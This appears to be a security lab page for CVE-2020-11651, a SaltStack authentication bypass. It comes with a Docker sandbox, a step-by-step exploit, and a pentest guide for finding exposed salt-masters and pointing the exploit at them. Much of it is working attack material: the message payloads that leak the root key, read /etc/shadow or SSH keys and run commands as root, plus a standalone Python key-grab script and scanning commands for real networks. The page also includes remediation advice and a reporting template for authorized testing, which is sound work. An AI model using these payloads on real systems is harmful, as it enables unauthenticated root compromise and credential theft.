All labs
CVE-2020-11651critical

SaltStack Authentication Bypass / Remote Code Execution

SaltStack Salt

Authentication Bypass / RCE

Download sandbox (9 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2020-11651 — SaltStack Authentication Bypass / Remote Code Execution

Overview

FieldValue
CVECVE-2020-11651
SoftwareSaltStack Salt
Version Tested2019.2.3
Vulnerable Range< 2019.2.4 and 3000 < 3000.2
TypeAuthentication Bypass / RCE
CVSS v39.8 (Critical)
AuthenticationNot required
Attack VectorNetwork (port 4506)
Disclosed2020-04-30

The salt-master process ClearFuncs class does not properly validate method calls. An unauthenticated remote attacker who can reach port 4506 can call _prep_auth_info() to retrieve the master root key, then use that key to read or write arbitrary files and execute commands as root on both the master and all connected minions.

Quick Start

bash verify.sh

This starts the vulnerable environment, waits for the service, runs the exploit, and prints evidence of exploitation. Zero manual steps required.

Environment

  • Image: vulhub/saltstack:2019.2.3
  • Ports: 4506 → salt-master ZMQ return port (exploit target)
  • Ports: 4505 → salt-master ZMQ publish port
  • Ports: 8000 → salt-api (REST)
  • Credentials: none required (that's the vulnerability)
  • Setup time: ~15 seconds for salt-master to initialize
docker compose up -d        # start
docker compose logs -f      # watch logs
docker compose ps           # check status
docker compose down         # teardown

Exploit

How It Works

SaltStack uses ZeroMQ for master-minion communication. Port 4506 hosts a zmq.ROUTER socket that accepts connections from minion zmq.REQ sockets. Messages are msgpack-encoded and wrapped in {'enc': 'clear', 'load': payload}.

The ClearFuncs class on the master handles pre-authentication messages. The method _prep_auth_info() is intended only for internal use but is improperly exposed — any unauthenticated caller can invoke it and receive the master root key in the response.

Exploit steps:

  1. Get root key (no auth) Send {'cmd': '_prep_auth_info'} to port 4506. The response contains result[2]['root'] — the master root key valid for the current session.

  2. Read arbitrary files Use the wheel module: {'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': '/etc/passwd', 'saltenv': 'base'}. Returns the file contents directly.

  3. Execute commands on master Use the runner interface with salt.cmd runner and cmd.exec_code (Python):

    {'key': root_key, 'cmd': 'runner', 'fun': 'salt.cmd',
     'kwarg': {'fun': 'cmd.exec_code', 'lang': 'python',
               'code': "import subprocess; open('/tmp/out','w').write(subprocess.check_output('id',shell=True).decode())"}}
    

    Then read the output file back with wheel.file_roots.read.

Manual Usage

# Start environment first
docker compose up -d

# Install dependencies
pip install -r exploit/requirements.txt

# Run exploit (default: id && hostname && uname -a)
python3 exploit/exploit.py --target 127.0.0.1 --port 4506

# Read an arbitrary file
python3 exploit/exploit.py --target 127.0.0.1 --read /etc/shadow

# Execute custom command
python3 exploit/exploit.py --target 127.0.0.1 --exec "cat /root/.ssh/authorized_keys"

Expected Output

============================================================
CVE-2020-11651 — SaltStack Authentication Bypass / RCE
============================================================
[*] Target: 127.0.0.1:4506

[*] Calling _prep_auth_info() on 127.0.0.1:4506 (no auth required)...
[+] VULNERABILITY CONFIRMED: CVE-2020-11651
[+] Master root key (unauthenticated): BucZ0cJT+yWtZTCjJw68EANKLmS5HvWbCbVeFLElf1uZk8cbbaFVWhLhNocfxosJVJd+sf6b+lM=

[*] Demonstrating file read: /etc/passwd
[+] /etc/passwd (20 lines):
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...

[*] Demonstrating RCE: id && hostname && uname -a
[+] Command output:
    uid=0(root) gid=0(root) groups=0(root)
    4043663f2574
    Linux 4043663f2574 6.8.0-90-generic #91-Ubuntu SMP x86_64 GNU/Linux

============================================================
[+] Exploitation complete — evidence summary:
    Root key:  BucZ0cJT+yWtZTCjJw68EANK...
    /etc/passwd root entry: root:x:0:0:root:/root:/bin/bash
    RCE output[0]: uid=0(root) gid=0(root) groups=0(root)
    Evidence quality: STRONG
============================================================

Pentest Adaptation Guide

Target Discovery

Identify exposed salt-master instances:

# Nmap: scan for ZMQ ports 4505/4506
nmap -p 4505,4506 -sV --open <target_range>
nmap -p 4506 --script banner <target>

# Quick Python port check
python3 -c "import socket; s=socket.socket(); s.settimeout(2); print(s.connect_ex(('TARGET',4506)))"

# Shodan query (for threat intelligence, not active scanning)
# port:4506 product:"ZeroMQ"

# Check if the master responds (confirms Salt, not just open TCP)
python3 exploit/exploit.py --target <IP> --port 4506

Salt version can sometimes be read from the API banner:

curl -sk http://<target>:8000/ -H 'Accept: application/json'

Adapting the Exploit

ParameterDefaultChange to
--target127.0.0.1Target IP or hostname
--port4506Real port if non-standard
--execid && hostname && uname -aYour proof-of-concept command
--read(none)/etc/shadow, /root/.ssh/id_rsa, etc.

For targets behind NAT or a firewall, ensure port 4506 (TCP) is reachable from your assessment machine. There is no authentication to bypass — if the port is reachable, exploitation succeeds.

If the target runs salt in a non-standard configuration (different port, TLS transport, or firewall-blocked ZMQ), try the REST API on port 8000 instead — see CVE-2020-11652 which uses the same root key via the HTTP wheel endpoint.

Safe Verification (Non-Destructive)

To confirm vulnerability without executing commands or modifying files:

# Step 1 only: just retrieve the root key (read-only proof)
python3 - <<'EOF'
import zmq, msgpack
ctx = zmq.Context()
s = ctx.socket(zmq.REQ)
s.setsockopt(zmq.LINGER, 0)
s.setsockopt(zmq.RCVTIMEO, 5000)
s.connect("tcp://TARGET:4506")
s.send(msgpack.packb({"enc": "clear", "load": {"cmd": "_prep_auth_info"}}, use_bin_type=True))
r = msgpack.unpackb(s.recv(), raw=False)
print("VULNERABLE - root key:", r[2]["root"][:20], "...")
EOF

This is entirely passive (read-only). A response proves the vulnerability; timeout means patched or unreachable.

For reading files, prefer /etc/hostname (always present, non-sensitive) over /etc/shadow to minimize data exposure during testing:

python3 exploit/exploit.py --target TARGET --read /etc/hostname

Avoid running commands (--exec) unless explicitly authorized, as runner jobs create log entries and can be disruptive.

Evidence Collection

Capture the following for your pentest report:

  1. Terminal recording of verify.sh or manual exploit run showing:

    • The root key returned by _prep_auth_info()
    • File contents from /etc/passwd or /etc/hostname
    • RCE output (uid=0(root))
  2. Network capture (optional): tcpdump -i any port 4506 -w salt_exploit.pcap — shows the unauthenticated ZMQ messages

  3. Log evidence from the target:

    # On the target (if accessible):
    grep -i "runner\|_prep_auth" /var/log/salt/master
    
  4. CVSS justification for report:

    • AV:N — network accessible via port 4506
    • AC:L — no special conditions; port open = exploitable
    • PR:N — no credentials required
    • UI:N — no user interaction
    • C:H / I:H / A:H — full root RCE on master and all minions

OWASP/PTES finding template:

Finding: SaltStack Salt Authentication Bypass (CVE-2020-11651) Severity: Critical (CVSS 9.8) Evidence: Unauthenticated call to _prep_auth_info() on port 4506 returned master root key. Key used to execute id via runner, confirming RCE as uid=0. Recommendation: Upgrade to Salt >= 2019.2.4 or >= 3000.2. Restrict access to ports 4505/4506 to authorized minions only (firewall/VPC rules).


References